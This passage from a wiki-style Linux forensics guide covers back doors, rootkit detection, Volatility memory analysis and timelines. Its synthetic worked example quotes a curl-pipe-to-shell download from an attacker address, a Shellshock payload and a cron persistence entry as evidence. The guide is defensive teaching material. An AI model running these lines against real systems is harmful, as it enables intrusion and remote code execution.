&#039;&#039;&#039;Back doors beyond start-up entries:&#039;&#039;&#039; a web shell in the web root; a replacement &amp;lt;code&amp;gt;sshd&amp;lt;/code&amp;gt; with a built-in password; an extra UID 0 account; a service account given a password; an added &amp;lt;code&amp;gt;authorized_keys&amp;lt;/code&amp;gt; line; a broadened &amp;lt;code&amp;gt;sudoers&amp;lt;/code&amp;gt; entry; and the set-UID trick below.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Set-UID/set-GID programs.&#039;&#039;&#039; A program with the set-UID bit runs with its &#039;&#039;owner&#039;s&#039;&#039; privileges rather than the user&#039;s (this is how &amp;lt;code&amp;gt;passwd&amp;lt;/code&amp;gt; can update &amp;lt;code&amp;gt;/etc/shadow&amp;lt;/code&amp;gt;). An attacker with root can copy a shell, turn on the set-UID bit and leave it somewhere quiet; anyone who can run it (with &amp;lt;code&amp;gt;-p&amp;lt;/code&amp;gt;, so it does not drop its privileges) is root again.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# set-UID / set-GID programs anywhere outside /usr (there should be very few)&lt;br /&gt;
sudo find / \( -path /proc -o -path /sys \) -prune -o -type f \( -perm -4000 -o -perm -2000 \) ! -path &#039;/usr/*&#039; -ls 2&amp;gt;/dev/null&lt;br /&gt;
&lt;br /&gt;
# the full list of set-UID programs&lt;br /&gt;
sudo find / -xdev -perm -4000 -type f 2&amp;gt;/dev/null&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Compare the full list against a clean machine of the same OS, the same baseline-and-&amp;lt;code&amp;gt;diff&amp;lt;/code&amp;gt; technique used on [[Intermediate Service Auditing]]. Also revisit [[#Where attackers stage files|where attackers stage files]]: names that imitate system files but sit in the wrong place, executables in &amp;lt;code&amp;gt;/tmp&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/var/tmp&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;/dev/shm&amp;lt;/code&amp;gt;, and dot-prefixed directories under &amp;lt;code&amp;gt;/usr&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/var&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;/dev&amp;lt;/code&amp;gt; are all worth a closer look.&lt;br /&gt;
&lt;br /&gt;
=== A post-exploitation checklist ===&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Check !! How&lt;br /&gt;
|-&lt;br /&gt;
| New or unexpected SSH keys || Read every &amp;lt;code&amp;gt;authorized_keys&amp;lt;/code&amp;gt;. If you find one, search your other machines for the same key.&lt;br /&gt;
|-&lt;br /&gt;
| Unexpected group members || Compare &amp;lt;code&amp;gt;/etc/group&amp;lt;/code&amp;gt; against what you expect, especially groups named in &amp;lt;code&amp;gt;sudoers&amp;lt;/code&amp;gt;.&lt;br /&gt;
|-&lt;br /&gt;
| Unlocked service accounts || Service accounts should have &amp;lt;code&amp;gt;nologin&amp;lt;/code&amp;gt; (or &amp;lt;code&amp;gt;false&amp;lt;/code&amp;gt;) as their shell and no valid password hash in &amp;lt;code&amp;gt;/etc/shadow&amp;lt;/code&amp;gt;.&lt;br /&gt;
|-&lt;br /&gt;
| Extra UID 0 accounts || &amp;lt;code&amp;gt;awk -F: &#039;$3==0&#039; /etc/passwd&amp;lt;/code&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| Edited sudo rules || Read &amp;lt;code&amp;gt;/etc/sudoers&amp;lt;/code&amp;gt; and &amp;lt;code&amp;gt;/etc/sudoers.d/&amp;lt;/code&amp;gt; directly.&lt;br /&gt;
|-&lt;br /&gt;
| Unauthorized set-UID bits || The &amp;lt;code&amp;gt;find&amp;lt;/code&amp;gt; commands above.&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== Step 5: Rootkits and tampering ==&lt;br /&gt;
&lt;br /&gt;
A &#039;&#039;&#039;rootkit&#039;&#039;&#039; is malware built to hide itself and the attacker&#039;s other activity. Two kinds are common on Linux:&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;User-space (library preload) rootkits&#039;&#039;&#039; install a malicious shared library and make every program load it (through &amp;lt;code&amp;gt;/etc/ld.so.preload&amp;lt;/code&amp;gt; or the &amp;lt;code&amp;gt;LD_PRELOAD&amp;lt;/code&amp;gt; variable), so that &amp;lt;code&amp;gt;ls&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;ps&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;ss&amp;lt;/code&amp;gt; and friends quietly leave out the attacker&#039;s files, processes and connections. Older rootkits simply replaced those programs.&lt;br /&gt;
* &#039;&#039;&#039;Kernel-module (LKM) rootkits&#039;&#039;&#039; load a malicious kernel module that intercepts system calls (for example the ones that list directories or send signals) and can hide from the operating system itself. Older families such as t0rn hid their files in look-alike, dot-prefixed directories (for example under &amp;lt;code&amp;gt;/usr/src&amp;lt;/code&amp;gt;) and included a helper that scrubbed matching lines from log files, but the ideas are the same today.&lt;br /&gt;
&lt;br /&gt;
=== Signs something is being hidden ===&lt;br /&gt;
&lt;br /&gt;
* Basic tools misbehave, disagree with each other, or stop working (&amp;lt;code&amp;gt;ls&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;ps&amp;lt;/code&amp;gt; failing on an otherwise healthy system).&lt;br /&gt;
* A listening port shows in a port scan from another machine but not in &amp;lt;code&amp;gt;ss&amp;lt;/code&amp;gt; on the host.&lt;br /&gt;
* Disk usage that does not add up, or CPU usage with no process to explain it.&lt;br /&gt;
* Logs with unexplained gaps, zero-length files (&amp;lt;code&amp;gt;/var/log/wtmp&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;btmp&amp;lt;/code&amp;gt;) or timestamps that jump backwards.&lt;br /&gt;
* A &amp;quot;tainted&amp;quot; kernel: &amp;lt;code&amp;gt;cat /proc/sys/kernel/tainted&amp;lt;/code&amp;gt; is non-zero. Legitimate causes exist (proprietary or out-of-tree drivers), so treat it as a reason to ask &amp;quot;which module?&amp;quot;,  it is not necessarily a verdict.&lt;br /&gt;
&lt;br /&gt;
=== Detection tools ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo apt install rkhunter chkrootkit       # or dnf install on RHEL-family (EPEL)&lt;br /&gt;
sudo rkhunter --check --sk --rwo           # run all checks; skip keypress prompts; report warnings only&lt;br /&gt;
sudo chkrootkit&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;rkhunter&amp;lt;/code&amp;gt; and &amp;lt;code&amp;gt;chkrootkit&amp;lt;/code&amp;gt; compare the system against known signatures and known-bad file locations and look for suspicious changes. Findings are logged (for rkhunter, in &amp;lt;code&amp;gt;/var/log/rkhunter.log&amp;lt;/code&amp;gt;). They are a quick extra check, however they are not the main method. Treat their output as leads from which to begin searches:&lt;br /&gt;
&lt;br /&gt;
* They are &#039;&#039;&#039;signature-based&#039;&#039;&#039;: they recognize rootkits they already know about, so a clean report says little about new or custom tools (false negatives), and a warning does not prove a rootkit (false positives). &amp;lt;code&amp;gt;chkrootkit&amp;lt;/code&amp;gt; in particular sees little development, and many investigators no longer rely on it.&lt;br /&gt;
* They run &#039;&#039;on&#039;&#039; the suspect system. Against a kernel-level rootkit, the tool is being lied to as well. Where it matters, examine the disk from trusted boot media or a copy of the disk image, and analyze memory from outside the machine (see [[#Going deeper: memory analysis with Volatility 3|Volatility]]).&lt;br /&gt;
* &amp;lt;code&amp;gt;rkhunter&amp;lt;/code&amp;gt; is much more useful if you run &amp;lt;code&amp;gt;sudo rkhunter --propupd&amp;lt;/code&amp;gt; on a known-clean system first, so later runs can detect changed files.&lt;br /&gt;
&lt;br /&gt;
=== Verify installed files against the package manager ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo apt install debsums &amp;amp;&amp;amp; sudo debsums -c      # Debian/Ubuntu: list installed files whose checksum changed&lt;br /&gt;
sudo rpm -Va                                      # RHEL family: verify all packages&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
A modified &amp;lt;code&amp;gt;/bin/ls&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/usr/bin/ps&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;sshd&amp;lt;/code&amp;gt; that does not match its package is a serious finding. (Configuration files legitimately differ, and a determined attacker can also tamper with the package database, so this is one more piece of evidence, not proof.)&lt;br /&gt;
&lt;br /&gt;
=== Cross-checking tools against each other ===&lt;br /&gt;
&lt;br /&gt;
Because a rootkit typically fools some tools but not others, disagreement is informative:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
echo /usr/src/.*                  # the shell&#039;s own glob expansion; does it show entries ls hides?&lt;br /&gt;
ls /proc | grep -E &#039;^[0-9]+$&#039; | wc -l ; ps -e --no-headers | wc -l     # process count via /proc vs via ps&lt;br /&gt;
sudo apt install unhide &amp;amp;&amp;amp; sudo unhide proc                             # look for processes hidden from ps&lt;br /&gt;
lsmod                                                                     # compare to a known-good machine&#039;s module list&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
A statically linked tool (such as &amp;lt;code&amp;gt;busybox&amp;lt;/code&amp;gt;, if installed) does not load shared libraries, so it is not fooled by a library-preload rootkit. Kernel-module rootkits are much harder to catch from inside the running system, which is why memory analysis is the stronger method.&lt;br /&gt;
&lt;br /&gt;
=== Log tampering ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ls -la /var/log                    # any log suddenly tiny, empty, or not modified when it should be?&lt;br /&gt;
journalctl --verify                # consistency check of the journal files&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The best defense is a copy of the logs the attacker cannot reach: forward them to a remote log server (for example with &amp;lt;code&amp;gt;rsyslog&amp;lt;/code&amp;gt;) so that deleting local lines does not delete the record.&lt;br /&gt;
&lt;br /&gt;
== Going deeper: memory analysis with Volatility 3 ==&lt;br /&gt;
&lt;br /&gt;
Why bother with memory? It is smaller than the disk (64 GB of RAM is far easier to collect and store than 2 TB of disk) and holds things a disk image does not: every running process (including hidden ones), network connections, the shell history of open sessions, loaded kernel modules, cached file contents, and sometimes encryption keys.&lt;br /&gt;
&lt;br /&gt;
[https://github.com/volatilityfoundation/volatility3 Volatility 3] is the standard open-source framework for analyzing memory images. Its Linux support has one big obstacle.&lt;br /&gt;
&lt;br /&gt;
=== The symbols problem ===&lt;br /&gt;
&lt;br /&gt;
Volatility must know how the exact kernel that produced the image lays out its data in memory. That description is called a &amp;quot;symbol table&amp;quot; (or profile). Windows and macOS have few kernel versions, so ready-made ones exist. Linux has thousands of combinations (each distribution, each kernel update, each vendor&#039;s build options), and you may need a different symbol file for every machine in an investigation.&lt;br /&gt;
&lt;br /&gt;
Making one requires the kernel built &#039;&#039;&#039;with debugging symbols&#039;&#039;&#039;: a &amp;quot;debug&amp;quot; kernel package for the exact version (named with &amp;lt;code&amp;gt;-dbg&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;-dbgsym&amp;lt;/code&amp;gt; depending on the distribution), which is large (gigabytes) and not always available (some distributions do not publish them, and end-of-life systems may have lost them). The Volatility documentation itself states that it may not be possible to find the right symbols for a Linux image. A community-maintained collection of ready-made symbol files exists (see the [https://volatility3.readthedocs.io/en/latest/symbol-tables.html symbol tables documentation]), so check it before building your own.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# 1. What kernel was running? (a banner is stored in memory)&lt;br /&gt;
vol -f memory.lime banners.Banners&lt;br /&gt;
strings -a memory.lime | grep PRETTY_NAME=            # the distribution name, too&lt;br /&gt;
&lt;br /&gt;
# 2. If you have the matching debug kernel (a large &amp;quot;vmlinux&amp;quot; file, hundreds of MB; a normal one is under ~10 MB)&lt;br /&gt;
sudo find / -name &#039;vmlinu*&#039; -size +100M 2&amp;gt;/dev/null&lt;br /&gt;
file /usr/lib/debug/boot/vmlinux-5.10.0-21-amd64      # look for &amp;quot;with debug_info, not stripped&amp;quot;&lt;br /&gt;
&lt;br /&gt;
# 3. Convert it into a symbol file and place it where Volatility looks&lt;br /&gt;
dwarf2json linux --elf /usr/lib/debug/boot/vmlinux-5.10.0-21-amd64 &amp;gt; vmlinux-5.10.0-21-amd64.json&lt;br /&gt;
cp vmlinux-5.10.0-21-amd64.json /path/to/volatility3/symbols/linux/&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
If the debug kernel is present on the machine you are analyzing, you are very lucky. The command name (&amp;lt;code&amp;gt;vol&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;vol.py&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;vol3.py&amp;lt;/code&amp;gt;) depends on how it was installed, and you can keep symbol files with the image by pointing Volatility at the current directory with &amp;lt;code&amp;gt;-s .&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
=== The plugins you will use most ===&lt;br /&gt;
&lt;br /&gt;
Plugin names and output change between versions. List the current ones with &amp;lt;code&amp;gt;vol --help | grep linux.&amp;lt;/code&amp;gt;. A good first test is &amp;lt;code&amp;gt;linux.pslist.PsList&amp;lt;/code&amp;gt;: it is fast, and if it produces sensible output your image and symbols are working.&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Plugin !! What it answers&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;linux.pslist.PsList&amp;lt;/code&amp;gt; || What processes exist (PID, parent PID, name)?&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;linux.psaux.PsAux&amp;lt;/code&amp;gt; || The same, with each process&#039;s full command line.&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;linux.pstree.PsTree&amp;lt;/code&amp;gt; || The parent/child tree, useful for &amp;quot;how was this started?&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;linux.lsof.Lsof&amp;lt;/code&amp;gt; || Which files does a process have open (add &amp;lt;code&amp;gt;--pid&amp;lt;/code&amp;gt; to pick one)? Reveals executables and data in strange places.&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;linux.elfs.Elfs&amp;lt;/code&amp;gt; and &amp;lt;code&amp;gt;linux.proc.Maps&amp;lt;/code&amp;gt; || Which executable and libraries a process loaded, and its memory segments (where injected code can appear).&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;linux.sockstat.Sockstat&amp;lt;/code&amp;gt; || Network connections and listeners (filter with &amp;lt;code&amp;gt;grep AF_INET&amp;lt;/code&amp;gt; to skip the noisy local sockets).&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;linux.bash.Bash&amp;lt;/code&amp;gt; || Command history recovered from running shells, &#039;&#039;with timestamps&#039;&#039;.&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;linux.lsmod.Lsmod&amp;lt;/code&amp;gt; || Loaded kernel modules (the ones that are not hidden).&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
The &amp;lt;code&amp;gt;bash&amp;lt;/code&amp;gt; plugin is often more valuable than the history file on disk, for two reasons: history in memory includes the current session&#039;s commands that have not been saved yet, and each command has a timestamp. When a shell starts, it loads the saved history, so the first block of lines all share the shell&#039;s start time; the lines after them, with different times, are what was typed in that session.&lt;br /&gt;
&lt;br /&gt;
=== Hunting for rootkits in memory ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
vol -s . -f memory.lime linux.check_modules.Check_modules    # kernel modules hidden from the normal module lists&lt;br /&gt;
vol -s . -f memory.lime linux.check_syscall.Check_syscall    # system calls whose handlers have been replaced (hooks)&lt;br /&gt;
vol -s . -f memory.lime linux.check_creds.Check_creds        # processes sharing credentials, a sign of credential tampering&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;Check_modules&amp;lt;/code&amp;gt; compares the several lists the kernel keeps of loaded modules and reports modules missing from some of them, the fingerprint of a module hiding itself. Expect the occasional false positive (for example a legitimate virtualization driver), so investigate everything. A rootkit that does not hide, instead using an ordinary name, is caught by comparing &amp;lt;code&amp;gt;Lsmod&amp;lt;/code&amp;gt; output with a known-good machine.&lt;br /&gt;
* &amp;lt;code&amp;gt;Check_syscall&amp;lt;/code&amp;gt; shows the system-call table. Depending on the version, it may not flag hooked entries directly, so a practical trick is to run it on a memory image from a clean machine of the same kernel and compare the two lists: anything present in one but not the other stands out. In one published example (a memory image infected with a known Linux rootkit), the entries that differed were for listing directories (which lets a rootkit hide files, and, because Linux exposes processes as files under &amp;lt;code&amp;gt;/proc&amp;lt;/code&amp;gt;, hide processes too) and for sending signals.&lt;br /&gt;
* Other plugins (for example &amp;lt;code&amp;gt;Check_afinfo&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;Check_idt&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;Keyboard_notifiers&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;Tty_check&amp;lt;/code&amp;gt;) look for network-structure tampering and keylogger techniques.&lt;br /&gt;
&lt;br /&gt;
After that use YARA rules built from indicators you already have (the &amp;lt;code&amp;gt;YaraScan&amp;lt;/code&amp;gt; plugin, or YARA directly), look at the &amp;lt;code&amp;gt;bash&amp;lt;/code&amp;gt; history for the commands used to install the rootkit, and search the image with &amp;lt;code&amp;gt;strings&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
=== No symbol file? Quick triage instead ===&lt;br /&gt;
&lt;br /&gt;
Even without Volatility working, a memory image can be mined. &amp;lt;code&amp;gt;strings&amp;lt;/code&amp;gt; pulls out readable text, and [https://github.com/simsong/bulk_extractor bulk_extractor] finds and tallies URLs, addresses, e-mail addresses and domains, and extracts any network packets it finds.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
strings -a memory.lime | gzip &amp;gt; memory.strings.gz    # keep for context searches&lt;br /&gt;
bulk_extractor -o be-out memory.lime                 # the output folder must not already exist&lt;br /&gt;
&lt;br /&gt;
head be-out/url_histogram.txt                         # start with the histograms: common URLs, IPs, domains&lt;br /&gt;
head be-out/ip_histogram.txt&lt;br /&gt;
&lt;br /&gt;
# who was talking to whom, from packet fragments bulk_extractor recovered&lt;br /&gt;
tshark -n -r be-out/packets.pcap -Tfields -e ip.src -e tcp.srcport -e ip.dst -e tcp.dstport | sort | uniq -c | sort -nr | head&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Look for what does not belong: a strange URL, an address you do not recognize appearing many times in a row (like g00gle.com). Then search the saved strings around that item (&amp;lt;code&amp;gt;zgrep -F -C3 suspicious.example memory.strings.gz&amp;lt;/code&amp;gt;) for context.&lt;br /&gt;
&lt;br /&gt;
== Step 6: Building a timeline ==&lt;br /&gt;
&lt;br /&gt;
Investigations get clear once events are in one ordered list. A &#039;&#039;&#039;timeline&#039;&#039;&#039; combines file timestamps (and, with more effort, log entries) into a single chronological view, so you can see the attacker moving through the system. It is one of the fastest ways to find intrusion artifacts.&lt;br /&gt;
&lt;br /&gt;
=== Quick version ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# every file changed on 10 Sep, oldest first: change time, modify time, owner, path&lt;br /&gt;
sudo find / -xdev -type f -newermt &#039;2026-09-10 00:00&#039; ! -newermt &#039;2026-09-11 00:00&#039; \&lt;br /&gt;
     -printf &#039;%C+ %T+ %u %p\n&#039; | sort&lt;br /&gt;
&lt;br /&gt;
stat /var/tmp/.cache/update        # shows access, modify, change (and, on many filesystems, birth) times&lt;br /&gt;
&lt;br /&gt;
# files changed after a file you already know the attacker touched&lt;br /&gt;
sudo find / -xdev -newer /etc/passwd -type f -ls 2&amp;gt;/dev/null&lt;br /&gt;
ls -lArt /etc                      # a directory sorted by modification time, oldest first&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== The full method (The Sleuth Kit) ===&lt;br /&gt;
&lt;br /&gt;
For a real investigation, use [https://www.sleuthkit.org/ The Sleuth Kit]. You collect the raw timestamps into a &amp;quot;body file&amp;quot; (named after an early forensic toolkit), then turn it into a sorted timeline. Here the file systems come from a disk image; on a live system, UAC has already collected a body file for you.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# 1. one body file per file system (&amp;quot;-m /&amp;quot; = the mount point prefix to put on each path)&lt;br /&gt;
fls -r -m / /dev/mapper/VOLUME_GROUP_NAME-root | gzip &amp;gt; bodyfile-root.gz&lt;br /&gt;
fls -o 2048 -r -m /boot /mnt/img/ewf1 | gzip &amp;gt; bodyfile-boot.gz     # -o = the partition&#039;s start sector, from mmls&lt;br /&gt;
&lt;br /&gt;
# 2. build a chronological CSV, in UTC, showing user and group names from the image (not your workstation)&lt;br /&gt;
zcat bodyfile-*.gz | mactime -d -y -p /mnt/data/etc/passwd -g /mnt/data/etc/group 2026-09-01 &amp;gt; timeline.csv&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Open the CSV in a spreadsheet or a timeline viewer. The date argument means &amp;quot;from this date forward&amp;quot;; use a range such as &amp;lt;code&amp;gt;2026-09-01..2026-09-15&amp;lt;/code&amp;gt; to limit it further. Then start from &#039;&#039;&#039;pivot points&#039;&#039;&#039;: places in the timeline you already have reason to look.&lt;br /&gt;
&lt;br /&gt;
* The moment a suspicious executable was created (its birth or change time) and the directory it was installed in.&lt;br /&gt;
* Modification times on &amp;lt;code&amp;gt;/etc/passwd&amp;lt;/code&amp;gt; and &amp;lt;code&amp;gt;/etc/shadow&amp;lt;/code&amp;gt; if accounts were added.&lt;br /&gt;
* An alert, a log entry or a suspicious login.&lt;br /&gt;
* Files created just before a persistence mechanism (a cron entry, a service unit) was added.&lt;br /&gt;
&lt;br /&gt;
=== Understanding Linux timestamps ===&lt;br /&gt;
&lt;br /&gt;
Files have four time values:&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Name !! Meaning !! Notes&lt;br /&gt;
|-&lt;br /&gt;
| &#039;&#039;&#039;mtime&#039;&#039;&#039; (modified) || When the contents last changed || Easy for an attacker with root to set to any value with &amp;lt;code&amp;gt;touch -d&amp;lt;/code&amp;gt;.&lt;br /&gt;
|-&lt;br /&gt;
| &#039;&#039;&#039;atime&#039;&#039;&#039; (accessed) || When the contents were last read or run || Linux usually mounts with &amp;lt;code&amp;gt;relatime&amp;lt;/code&amp;gt;, which updates atime only if it is older than the mtime/ctime, or more than 24 hours old. So atime is updated only occasionally, but is still sometimes useful (for example on a rarely-used program the attacker dropped and ran). Your own investigation also changes atimes.&lt;br /&gt;
|-&lt;br /&gt;
| &#039;&#039;&#039;ctime&#039;&#039;&#039; (changed) || When the file&#039;s &#039;&#039;metadata&#039;&#039; last changed (permissions, owner, name, contents) || Normal tools cannot set it directly, so a file whose mtime says 2019 but whose ctime says last Tuesday has probably been &amp;quot;timestomped.&amp;quot; But an attacker with root can still change it (by setting the system clock, or by editing the file system directly with a tool such as &amp;lt;code&amp;gt;debugfs&amp;lt;/code&amp;gt;).&lt;br /&gt;
|-&lt;br /&gt;
| &#039;&#039;&#039;btime&#039;&#039;&#039; (birth/creation) || When the file was created || Recorded by ext4 and shown by &amp;lt;code&amp;gt;stat&amp;lt;/code&amp;gt; (&amp;quot;Birth&amp;quot;); not available on every file system or tool.&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
Timelines have limits. Timestamps are temporary: each file keeps only its latest values. If an attacker edits &amp;lt;code&amp;gt;/etc/shadow&amp;lt;/code&amp;gt; and a user later changes a password, the attacker&#039;s timestamp is overwritten and your timeline has a hole. Normal system activity also updates timestamps. Administrators (and attackers with root) can change them at will. And you need to know what is normal to interpret them: a set-UID bit turned on for a shell is alarming; the same change to a package&#039;s own program during an update is not.&lt;br /&gt;
&lt;br /&gt;
For those reasons, treat a timeline as &#039;&#039;&#039;a guide to evidence, not evidence itself&#039;&#039;&#039;. It points you to the files, logs and memory artifacts that you then examine and can report.&lt;br /&gt;
&lt;br /&gt;
Some other useful timing facts:&lt;br /&gt;
&lt;br /&gt;
* Work in one time zone (UTC is easiest). File systems store times in UTC, but command-line tools display them in your workstation&#039;s local time zone unless you tell them otherwise.&lt;br /&gt;
* The SSH host keys under &amp;lt;code&amp;gt;/etc/ssh&amp;lt;/code&amp;gt; are usually created the first time a system boots. Their timestamps therefore hint at when the system was first started, useful for judging how old a system or a cloned image is. (Linux does not otherwise record an install date.)&lt;br /&gt;
* Check the system&#039;s own clock and time zone against its logs before you compare times across sources.&lt;br /&gt;
&lt;br /&gt;
=== A note on deleted files ===&lt;br /&gt;
&lt;br /&gt;
Recovering deleted files is harder on Linux than people expect. On ext4, deleting a file typically wipes the information that says where its data was stored, and XFS behaves similarly, so undeleting it is often impractical. It is far better to catch a malicious file while it still exists (or while a process still has it open: see [[#Reading the process list|reading the process list]] above) than to count on recovering it later. The internals of the ext4 and XFS file systems are a deep subject of their own; see the sources below if you need them.&lt;br /&gt;
&lt;br /&gt;
== Worked example ==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;This is a made-up scenario (synthetic logs, documentation IP addresses) showing how the pieces fit together.&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Report:&#039;&#039;&#039; the web server is slow, and the monitoring tool flagged outbound traffic to an unfamiliar address.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;1. Volatile state.&#039;&#039;&#039; The process tree shows a shell started by the web server, and a process nobody can identify:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;text&amp;quot;&amp;gt;&lt;br /&gt;
www-data  4108  apache2 -k start&lt;br /&gt;
www-data  4121   \_ sh -c curl -s http://203.0.113.50/u.sh | sh&lt;br /&gt;
www-data  4188  /var/tmp/.cache/update&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;text&amp;quot;&amp;gt;&lt;br /&gt;
$ sudo ss -tnp state established&lt;br /&gt;
Recv-Q Send-Q  Local Address:Port    Peer Address:Port   Process&lt;br /&gt;
0      0       10.0.0.5:48822        203.0.113.50:4444   users:((&amp;quot;update&amp;quot;,pid=4188,fd=3))&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Already there are three clues: a web-server child running a downloader, a program in a hidden directory under &amp;lt;code&amp;gt;/var/tmp&amp;lt;/code&amp;gt;, and an outbound connection owned by that program.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;2. Way in.&#039;&#039;&#039; The access log around the time process 4121 started (14:02 UTC) holds:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;text&amp;quot;&amp;gt;&lt;br /&gt;
198.51.100.7 - - [10/Sep/2026:14:02:11 +0000] &amp;quot;GET /cgi-bin/status.sh HTTP/1.1&amp;quot; 200 412 &amp;quot;-&amp;quot; &amp;quot;() { :;}; echo; /usr/bin/id&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
A &amp;lt;code&amp;gt;() {&amp;lt;/code&amp;gt; in the User-Agent, sent to a CGI script, is a Shellshock attempt. The &amp;lt;code&amp;gt;200&amp;lt;/code&amp;gt; and the timing (the shell appears seconds later) suggest it worked. The client address, &amp;lt;code&amp;gt;198.51.100.7&amp;lt;/code&amp;gt;, is the same one that was guessing SSH passwords minutes earlier in &amp;lt;code&amp;gt;auth.log&amp;lt;/code&amp;gt;, so the attacker was probing more than one way in.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;3. Persistence.&#039;&#039;&#039; The cron directory for the web user contains a job that restarts the unknown program every minute:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;text&amp;quot;&amp;gt;&lt;br /&gt;
$ sudo cat /var/spool/cron/crontabs/www-data&lt;br /&gt;
* * * * * /var/tmp/.cache/update &amp;gt;/dev/null 2&amp;gt;&amp;amp;1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Killing process 4188 alone would have accomplished nothing; it would have been relaunched within a minute. Before killing it, the analyst copies the program out of &amp;lt;code&amp;gt;/proc/4188/exe&amp;lt;/code&amp;gt; and hashes it.&lt;br /&gt;
&lt;br /&gt;
